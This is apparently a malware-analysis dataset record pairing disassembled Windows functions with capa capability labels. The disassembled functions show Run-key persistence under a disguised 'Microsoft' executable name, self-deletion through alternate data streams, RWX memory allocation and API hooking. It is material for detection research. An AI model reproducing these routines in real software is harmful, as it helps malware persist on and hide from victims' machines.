joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800054b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push r12
push r13
push r14
sub rsp, 0x40
xor r14d, r14d
lea rax, [r11 - 0x20]
mov rbp, r8
mov qword [r11 - 0x30], rax
xor r9d, r9d
xor r8d, r8d
mov r12, rdx
mov r13, rcx
mov qword [r11 - 0x28], r14
mov qword [r11 - 0x38], r14
mov dword [r11 - 0x20], r14d
mov dword [r11 - 0x1c], r14d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test eax, eax
jne 0x1800055c1
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
nop dword [rax]
mov edi, dword [rsp + 0x38]
cmp qword [rsp + 0x30], r14
jne 0x180005547
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x18000559f
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x3c], r14d
jmp 0x180005571
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x30]
mov r9, rdi
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x18000559f
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], edi
lea rcx, [rsp + 0x38]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x28], rcx
mov rcx, r13
mov rdx, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
cmp eax, 0xea
je 0x180005510
mov rdi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
test esi, esi
jne 0x1800055c1
mov rax, qword [rsp + 0x30]
mov qword [rbp], rax
mov eax, dword [rsp + 0x38]
mov dword [rbp + 8], eax
xor eax, eax
jmp 0x1800055d9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x30]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
ret

Function at 0x180005820
Capabilities:
Encrypt data using rc4 via winapi
Hash data using sha1
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rbx, rcx
mov dword [rsp + 0x20], 0xf0000040
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1800058d8
mov rcx, qword [rbx]
lea rdx, [0x18000c060]
mov r8d, 0xa2
call fcn.180005730
mov qword [rbx + 8], rax
test rax, rax
je 0x1800058cd
mov rcx, qword [rbx]
lea r9, [rbx + 0x18]
mov edx, 0x6801
mov r8d, 0x11
call qword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0x1800058c3
lea rcx, [rbx + 0x10]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbx]
mov edx, 0x8004
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1800058b9
mov eax, 1
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbx]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x1800058f0
Capabilities:
Hash data via wincrypt

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rsi, qword [rcx + 0x20]
mov rdx, qword [rcx + 8]
mov dword [rax + 8], 0x8c
lea rax, [rax + 8]
mov rdi, rcx
mov rcx, qword [rcx + 0x18]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
xor ebx, ebx
lea r8d, [rbx + 1]
xor r9d, r9d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x1800059db
mov rcx, qword [rdi + 0x10]
lea r9, [rsp + 0xd8]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDuplicateHash]
test eax, eax
je 0x1800059db
mov r8d, dword [rdi + 0x2c]
mov rdx, qword [rdi + 0x20]
mov rcx, qword [rsp + 0xd8]
sub r8d, 0x94
add rdx, 0x94
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1800059cd
lea rdx, [rsp + 0x3c]
mov r8d, 0x80
mov rcx, rsi
call fcn.1800048d0
mov rcx, qword [rsp + 0xd8]
lea r8, [rsi + 0x80]
lea r9, [rsp + 0xd0]
lea edx, [rbx + 2]
mov dword [rsp + 0xd0], 0x14
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov ebx, eax
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
lea r11, [rsp + 0xc0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180005a00
Capabilities:
Hash data via wincrypt

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rsi, qword [rcx + 0x20]
mov rdi, rcx
mov rcx, qword [rcx + 0x10]
lea r9, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_CryptDuplicateHash]
test eax, eax
je 0x180005a86
mov r8d, dword [rdi + 0x2c]
mov rdx, qword [rdi + 0x20]
mov rcx, qword [rsp + 0x40]
sub r8d, 0x94
add rdx, 0x94
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x180005a7b
mov r9, qword [rdi + 8]
mov rcx, qword [rsp + 0x40]
mov r8d, 0x80
mov rdx, rsi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_CryptVerifySignatureW]
mov ebx, eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x180005b80
Capabilities:
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
xor esi, esi
mov rbp, rcx
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.1800050a0
mov rdi, rax
test rax, rax
je 0x180005bf8
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
test eax, eax
je 0x180005be4
mov rcx, qword [rdi]
mov edx, eax
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
xor ebx, eax
imul ebx, ebx, 0x1010101
sub rdx, 1
jne 0x180005bd0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x801a
xor ecx, ecx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ecx, ebx
movabs rax, 0xd79435e50d79435f
lea r10, str.api32
mul rcx
shr rdx, 4
mov eax, 0xf0f0f0f1
imul rdx, rdx, 0x13
sub rcx, rdx
mul ebx
mov eax, 0x51eb851f
mov rcx, qword [r10 + rcx*8]
mov r9d, edx
shr r9d, 4
mov qword [rsp + 0x38], rcx
mov rcx, rbp
mul r9d
shr edx, 3
mov eax, 0x4ec4ec4f
imul edx, edx, 0x19
sub r9d, edx
mul ebx
mov eax, 0x51eb851f
mov r8d, edx
add r9d, 0x61
shr r8d, 2
mov dword [rsp + 0x30], r9d
mov r9, rbp
mul r8d
shr edx, 3
mov eax, 0x51eb851f
imul edx, edx, 0x19
sub r8d, edx
mul ebx
add r8d, 0x61
shr edx, 3
mov dword [rsp + 0x28], r8d
lea r8, str._sMicrosoft_c_c_c_S.exe
imul edx, edx, 0x19
sub ebx, edx
mov edx, 0x104
add ebx, 0x61
mov dword [rsp + 0x20], ebx
call entry0
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
test eax, eax
setg sil
mov eax, esi
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x180005ce0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x268
lea rcx, [rsp + 0x50]
mov edx, 0x104
call fcn.180005b80
test eax, eax
je 0x180005df2
xor ecx, ecx
lea rax, [rsp + 0x270]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ecx
xor r9d, r9d
mov rcx, 0xffffffff80000001
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x180005df2
movzx edx, word [rsp + 0x50]
lea rcx, [rsp + 0x50]
test dx, dx
je 0x180005d5e
add rcx, 2
cmp word [rcx], 0
jne 0x180005d54
lea rax, [rsp + 0x50]
test dx, dx
je 0x180005d7a
nop dword [rax + rax]
add rax, 2
cmp word [rax], 0
jne 0x180005d70
lea rdx, [rsp + 0x50]
sub rax, rdx
sar rax, 1
mov eax, eax
lea rdx, [rsp + rax*2 + 0x50]
lea rax, [rsp + 0x50]
cmp rdx, rax
jbe 0x180005db0
cmp word [rdx], 0x5c
je 0x180005dac
lea rax, [rsp + 0x50]
sub rdx, 2
cmp rdx, rax
ja 0x180005d96
jmp 0x180005db0
add rdx, 2
lea rax, [rsp + 0x50]
mov r9d, 1
xor r8d, r8d
sub rcx, rax
sar rcx, 1
lea eax, [rcx + rcx + 2]
mov rcx, qword [rsp + 0x270]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x270]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x268
ret
Function at 0x180005fa0
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x170
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
movzx ebx, byte [rsp + 0x16a]
movzx eax, word [rsp + 0x166]
and eax, 0xf
and ebx, 0xf
lea rcx, [rsp + 0x20]
shl ebx, 4
or ebx, eax
mov eax, dword [rsp + 0x164]
and eax, 0xf
shl ebx, 4
or ebx, eax
mov eax, dword [rsp + 0x58]
and eax, 0xf
shl ebx, 4
or ebx, eax
mov eax, dword [rsp + 0x54]
and eax, 0xf
shl ebx, 4
or ebx, eax
mov eax, dword [rsp + 0x180]
and eax, 0xfff00000
or ebx, eax
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x20]
and eax, 0xf
and ebx, 0xfffff
shl eax, 0x14
or eax, ebx
add rsp, 0x170
pop rbx
ret

Function at 0x180006080
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
movzx eax, cx
mov rdi, rdx
mov rbx, rcx
test rax, rax
je 0x1800060a2
sub rbx, rax
add rbx, 0x10000
mov qword [rsp + 0x60], rsi
cmp rbx, rdx
jae 0x180006165
mov esi, 0x80010000
nop word [rax + rax]
lea rax, [rbx - 0x50000000]
cmp rax, 0x30000000
ja 0x1800060d7
mov rbx, rsi
jmp 0x18000615c
xor r8d, r8d
lea rcx, [rsp + 0x20]
lea edx, [r8 + 0x30]
call fcn.1800049b0
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x180006165
cmp dword [rsp + 0x40], 0x10000
mov rcx, qword [rsp + 0x38]
jne 0x180006141
cmp rcx, 0x10000
jb 0x180006141
mov edx, 0x10000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x180006167
add rbx, 0x10000
jmp 0x18000615c
mov rbx, qword [rsp + 0x20]
add rbx, rcx
movzx ecx, bx
test rcx, rcx
je 0x18000615c
mov eax, 0x10000
sub rax, rcx
add rbx, rax
cmp rbx, rdi
jb 0x1800060c0
xor eax, eax
mov rsi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x180006180
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
lea rbx, [rdx - 0x10000]
mov rdi, rcx
movzx eax, bx
test rax, rax
je 0x18000619f
sub rbx, rax
cmp rbx, rcx
jbe 0x18000624d
nop dword [rax + rax]
lea rax, [rbx - 0x50000000]
cmp rax, 0x30000000
ja 0x1800061c6
mov ebx, 0x4fff0000
jmp 0x180006244
xor r8d, r8d
lea rcx, [rsp + 0x20]
lea edx, [r8 + 0x30]
call fcn.1800049b0
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x18000624d
cmp dword [rsp + 0x40], 0x10000
jne 0x18000622d
cmp qword [rsp + 0x38], 0x10000
jb 0x18000622d
mov edx, 0x10000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x18000624f
sub rbx, 0x10000
jmp 0x180006244
mov rbx, qword [rsp + 0x28]
add rbx, 0xffffffffffff0000
movzx eax, bx
test rax, rax
je 0x180006244
sub rbx, rax
cmp rbx, rdi
ja 0x1800061b0
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x180006260
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
cmp rcx, 0x7ff80000
jbe 0x18000627f
lea rdi, [rcx - 0x7ff80000]
jmp 0x180006284
mov edi, 0x10000
mov qword [rsp + 0x38], rsi
cmp rcx, 0xffffffff80000000
jae 0x18000629b
lea rsi, [rcx + 0x7ff80000]
jmp 0x1800062a2
mov rsi, 0xfffffffffff80000
mov rdx, qword [0x18000c328]
mov rax, qword [0x18000c320]
mov qword [rsp + 0x30], rbp
test rdx, rdx
jne 0x1800062c9
test rax, rax
je 0x1800062e0
mov rdx, rax
mov qword [0x18000c328], rax
mov rcx, qword [rdx + 0x10]
test rcx, rcx
je 0x1800062e0
cmp rcx, rdi
jb 0x1800062e0
cmp rcx, rsi
jbe 0x180006428
mov rdx, rax
mov qword [0x18000c328], rax
test rax, rax
je 0x18000631c
nop
test rdx, rdx
je 0x18000630c
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x18000630c
cmp rax, rdi
jb 0x18000630c
cmp rax, rsi
jbe 0x180006428
mov rdx, qword [rdx + 8]
mov qword [0x18000c328], rdx
test rdx, rdx
jne 0x1800062f0
movzx eax, bx
sub rbx, rax
cmp rbx, 0x40000000
jbe 0x180006346
lea rdx, [rbx - 0x40000000]
mov rcx, rdi
call fcn.180006180
mov rdx, rax
test rax, rax
jne 0x1800063d2
movabs rbp, 0xffffffff40000000
cmp rbx, rbp
jae 0x18000636c
lea rcx, [rbx + 0x40000000]
mov rdx, rsi
call fcn.180006080
mov rdx, rax
test rax, rax
jne 0x1800063d2
cmp rbx, 0x40000000
jbe 0x18000638c
lea rcx, [rbx - 0x40000000]
mov rdx, rbx
call fcn.180006080
mov rdx, rax
test rax, rax
jne 0x1800063d2
cmp rbx, rbp
jae 0x1800063a8
lea rdx, [rbx + 0x40000000]
mov rcx, rbx
call fcn.180006180
mov rdx, rax
test rax, rax
jne 0x1800063d2
mov rdx, rbx
mov rcx, rdi
call fcn.180006180
mov rdx, rax
test rax, rax
jne 0x1800063d2
mov rdx, rsi
mov rcx, rbx
call fcn.180006080
mov rdx, rax
test rax, rax
je 0x180006453
mov dword [rdx], 0x52727464
xor r8d, r8d
mov qword [0x18000c328], rdx
mov qword [rdx + 0x10], r8
mov rax, qword [0x18000c320]
lea rcx, [rdx + 0xffe0]
mov qword [rdx + 8], rax
mov qword [0x18000c320], rdx
lea rax, [rdx + 0xffa0]
mov r9d, 0x330
nop dword [rax]
mov qword [rcx], r8
mov r8, rax
sub rcx, 0x50
sub rax, 0x50
sub r9, 1
jne 0x180006410
mov qword [rdx + 0x10], r8
mov rbx, qword [rdx + 0x10]
cmp rbx, rdi
jb 0x180006453
cmp rbx, rsi
ja 0x180006453
mov rcx, qword [rbx + 0x40]
mov r8b, 0xcc
mov qword [rdx + 0x10], rcx
mov edx, 0x50
mov rcx, rbx
call fcn.1800049b0
mov rax, rbx
jmp 0x180006455
xor eax, eax
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800064b0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push rbx
sub rsp, 0x20
mov rcx, qword [0x18000c320]
lea rbx, [0x18000c320]
test rcx, rcx
je 0x180006541
mov qword [rsp + 0x30], rdi
xor edi, edi
cmp dword [rcx], 0x52727464
jne 0x180006530
lea r9, [rcx + 0x10000]
mov r8d, edi
lea rdx, [rcx + 0x90]
nop dword [rax]
mov rax, qword [rdx]
test rax, rax
je 0x180006502
cmp rax, rcx
jb 0x180006530
cmp rax, r9
jae 0x180006530
inc r8d
add rdx, 0x50
cmp r8d, 0x332
jb 0x1800064f0
mov rax, qword [rcx + 8]
xor edx, edx
mov r8d, 0x8000
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [0x18000c328], rdi
jmp 0x180006534
lea rbx, [rcx + 8]
mov rcx, qword [rbx]
test rcx, rcx
jne 0x1800064d0
mov rdi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret

Function at 0x180006550
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x28
cmp dword [0x18000c338], 0
je 0x180006567
mov eax, 0x10dd
add rsp, 0x28
ret
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r11d, eax
xor eax, eax
lock cmpxchg dword [0x18000c338], r11d
jne 0x18000655d
xor eax, eax
mov qword [rsp + 0x20], rbx
mov rbx, qword [0x18000c320]
mov qword [0x18000c350], rax
mov qword [0x18000c348], rax
mov dword [0x18000c33c], eax
mov qword [0x18000c340], rax
test rbx, rbx
je 0x1800065d2
nop dword [rax + rax]
lea r9, [rsp + 0x30]
mov edx, 0x10000
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rbx, qword [rbx + 8]
test rbx, rbx
jne 0x1800065b0
xor eax, eax
mov rbx, qword [rsp + 0x20]
add rsp, 0x28
ret
Function at 0x1800065e0
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x18000c338], eax
je 0x1800065fc
mov eax, 0x10dd
add rsp, 0x38
ret
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rsi
mov rsi, qword [0x18000c350]
xor ebp, ebp
mov qword [rsp + 0x20], rdi
test rsi, rsi
je 0x180006691
nop
mov rax, qword [rsi + 0x20]
test rax, rax
je 0x180006672
movzx edx, byte [rax + 0x36]
mov r8d, dword [rsi + 0x28]
mov rcx, qword [rsi + 0x18]
lea r9, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [rsi + 8], ebp
jne 0x180006672
mov rdi, qword [rsi + 0x20]
xor r8d, r8d
lea edx, [r8 + 0x50]
mov rbx, rdi
mov rcx, rdi
and rbx, 0xffffffffffff0000
call fcn.1800049b0
mov rax, qword [rbx + 0x10]
mov qword [rdi + 0x40], rax
mov qword [rbx + 0x10], rdi
mov qword [rsi + 0x20], rbp
mov rbx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, rbx
test rbx, rbx
jne 0x180006620
mov qword [0x18000c350], rbp
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, qword [0x18000c320]
mov rsi, qword [rsp + 0x28]
mov rdi, rax
test rbx, rbx
je 0x1800066f4
nop word [rax + rax]
lea r9, [rsp + 0x48]
mov edx, 0x10000
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, 0x10000
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rbx, qword [rbx + 8]
test rbx, rbx
jne 0x1800066c0
mov rdi, qword [0x18000c348]
test rdi, rdi
je 0x180006733
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, rbx
test rbx, rbx
jne 0x180006700
mov rdi, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x50]
mov qword [0x18000c348], rbp
mov dword [0x18000c338], ebp
mov rbp, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x38
ret
Function at 0x180006ed0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x18000c338], eax
je 0x180006eec
mov eax, 0x10dd
add rsp, 0x28
ret
mov eax, dword [0x18000c33c]
test eax, eax
jne 0x180007063
cmp qword [0x18000c228], 0
jne 0x180006f26
lea rcx, [0x18000c228]
mov dword [0x18000c33c], 6
mov eax, 6
mov qword [0x18000c340], rcx
add rsp, 0x28
ret
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, 8
lea r8d, [rbx + 0x28]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x180007025
mov rbx, qword [0x18000c228]
movzx eax, byte [rbx + 0x36]
mov rsi, qword [rbx + 0x40]
sub rsi, rax
mov rdx, rax
test eax, eax
je 0x180007017
cmp eax, 0x1e
ja 0x180007017
lea rax, [0x180002050]
cmp qword [rbx + 0x48], rax
je 0x180006fa5
cmp dword [0x18000c330], 0
mov ebx, 9
jne 0x18000702b
jmp 0x180007025
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rcx, rsi
mov dword [rsp + 0x40], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180006fcf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180007025
mov qword [rdi + 0x20], rbx
mov rbx, qword [rsp + 0x30]
mov qword [rdi + 0x18], rsi
mov rsi, qword [rsp + 0x38]
mov dword [rdi + 8], 1
lea rcx, [0x18000c228]
mov qword [rdi + 0x10], rcx
mov eax, dword [rsp + 0x40]
mov dword [rdi + 0x28], eax
mov rax, qword [0x18000c350]
mov qword [0x18000c350], rdi
mov qword [rdi], rax
mov rdi, qword [rsp + 0x20]
xor eax, eax
add rsp, 0x28
ret
cmp dword [0x18000c330], 0
mov ebx, 9
jne 0x18000702b
mov dword [0x18000c33c], ebx
test rdi, rdi
je 0x180007044
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x20]
lea rcx, [0x18000c228]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov qword [0x18000c340], rcx
add rsp, 0x28
ret
Function at 0x140001490
Capabilities:
Self delete using alternate data streams

Disassembly:
push rdi
sub rsp, 0x290
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor eax, eax
lea rdi, [rsp + 0x70]
mov ecx, 0x20a
lea rdx, [rsp + 0x70]
rep stosb byte [rdi], al
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400015d7
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x10000
mov qword [rsp + 0x2a0], rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400015cf
xor eax, eax
lea rdi, [rsp + 0x48]
mov r9d, 0x20
lea r8, [rsp + 0x48]
mov ecx, 0x18
rep stosb byte [rdi], al
movabs rax, 0x6600740077003a
mov dword [rsp + 0x58], 8
lea edx, [r9 - 0x1d]
mov qword [rsp + 0x5c], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x1400015cf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x10000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400015cf
xor eax, eax
lea rdi, [rsp + 0x40]
mov ecx, 1
lea r8, [rsp + 0x40]
rep stosb byte [rdi], al
mov rcx, rbx
mov byte [rsp + 0x40], 1
lea r9d, [rax + 1]
lea edx, [rax + 4]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x1400015cf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140001620
add rsp, 0x290
pop rdi
ret
sub rsp, 0x28
call section..text
add rsp, 0x28
jmp 0x140001490

Function at 0x140003d00
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140003b8b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003b8b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003b8b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003b8b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003b8b
cmp dword [rcx + 0x84], 0xe
jbe 0x140003b8b
cmp dword [rcx + 0xf8], 0
je 0x140003b8b
mov ecx, ebx
call fcn.140003c2c
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140003a08
cmp dword [rbp + 0x20], 0
je 0x140003bd8
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140003be0
int3
xor r8d, r8d
xor edx, edx
jmp 0x140003b24